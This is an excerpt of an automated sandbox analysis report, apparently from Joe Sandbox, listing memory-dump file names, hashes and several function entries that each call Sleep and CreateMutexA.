Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ad943ee72341b45c7119e7f48fae38e52ac11d73233cda7104cfd84d981441d6
Instruction ID: a0fce63c97a30117ee269f8d37a829e7e18123f4b56d7b104a63b1634dd8a838
Opcode Fuzzy Hash: ad943ee72341b45c7119e7f48fae38e52ac11d73233cda7104cfd84d981441d6
Instruction Fuzzy Hash: CF319B32605184EBEB189BBDDC887ACB7B2EBC9310F204618E114DB3D2E77D69818712

Function 007EA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 25b58b879a75fcd4f1cd1ac74d40c51661d97414a26703f5ae26f7e259554dd9
Instruction ID: 66a4403b2fac4cba4f77147978b75496abb5fd8b90ef883c2634c6de50a39b00
Opcode Fuzzy Hash: 25b58b879a75fcd4f1cd1ac74d40c51661d97414a26703f5ae26f7e259554dd9
Instruction Fuzzy Hash: E8314831605284EBEB189BBDCD8876CB772EBC9314F204218E014DB3D6E77D79808612

Function 007EA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5f712d7543fc4bd5d761f0561fbdfe85c19ce014df507e3a3d6cd3c3c5f57574
Instruction ID: f62e532667be5fd04fa257bd85f021f52af67210494634f26be0e26071ffd53f
Opcode Fuzzy Hash: 5f712d7543fc4bd5d761f0561fbdfe85c19ce014df507e3a3d6cd3c3c5f57574
Instruction Fuzzy Hash: BB313731A05184EBEB189BADDD8876CB772EBCA310F204218E114EB3D2E77D79808612

Function 007EA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4ed3a29ea4ed88a3d260e052982ee980a3c5f167e46d05a9314297cfc84310c9
Instruction ID: 2f491c57e1811001b5fd609ed73808f08c7aed70739f06b0294e3f7a264cfbf8
Opcode Fuzzy Hash: 4ed3a29ea4ed88a3d260e052982ee980a3c5f167e46d05a9314297cfc84310c9
Instruction Fuzzy Hash: CD316E31605180E7EB18ABBDDD8976DB772EFCA314F204218E054D73D6E7BD79808652

Function 007EA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d137ee3902fbb5315e70ffeb5bf1d272488342137d26a033d91f6c28bb44b817
Instruction ID: 963a60f938ff02db050d48fa007cb88633234363cc3a5d639ce77cb9ecaa919f
Opcode Fuzzy Hash: d137ee3902fbb5315e70ffeb5bf1d272488342137d26a033d91f6c28bb44b817
Instruction Fuzzy Hash: 26313931605144EBEB189BBDDC89B6CB762EFCA314F244218E054DB3D2D77DA9818712

Function 007EA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

